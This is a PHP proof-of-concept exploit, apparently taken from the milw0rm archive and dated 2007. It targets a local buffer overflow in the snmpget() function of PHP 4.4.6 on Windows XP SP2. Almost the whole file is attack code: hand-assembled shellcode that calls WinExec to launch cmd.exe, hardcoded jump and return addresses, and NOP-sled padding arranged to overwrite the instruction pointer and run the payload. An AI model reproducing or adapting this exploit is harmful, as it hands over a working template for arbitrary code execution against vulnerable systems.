46 lines
No EOL
892 B
PHP
46 lines
No EOL
892 B
PHP
<?php
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// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit
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// by rgod
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// site: http://retrogod.altervista.org
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// win xp sp2 version
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// to be launched form the cli
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if (!extension_loaded("snmp")){
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die("you need the snmp extension loaded.");
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}
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$____scode=
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"\xeb\x1b".
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"\x5b".
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"\x31\xc0".
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"\x50".
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"\x31\xc0".
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"\x88\x43\x59".
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"\x53".
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"\xbb\x6d\x13\x86\x7c". //WinExec
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"\xff\xd3".
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"\x31\xc0".
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"\x50".
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"\xbb\xda\xcd\x81\x7c". //ExitProcess
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"\xff\xd3".
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"\xe8\xe0\xff\xff\xff".
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"\x63\x6d\x64".
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"\x2e".
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"\x65".
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"\x78\x65".
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"\x20\x2f".
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"\x63\x20".
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"start notepad & ";
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$edx="\x64\x8f\x9b\x01"; //jmp scode
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$eip="\x73\xdc\x82\x7c"; //0x7C82DC73 jmp edx
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$____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x90",48).$____scode.str_repeat("\x90",48);
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//more than 256 chars result in simple eip overwrite
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snmpget(1,1,$____suntzu);
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?>
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# milw0rm.com [2007-03-09]
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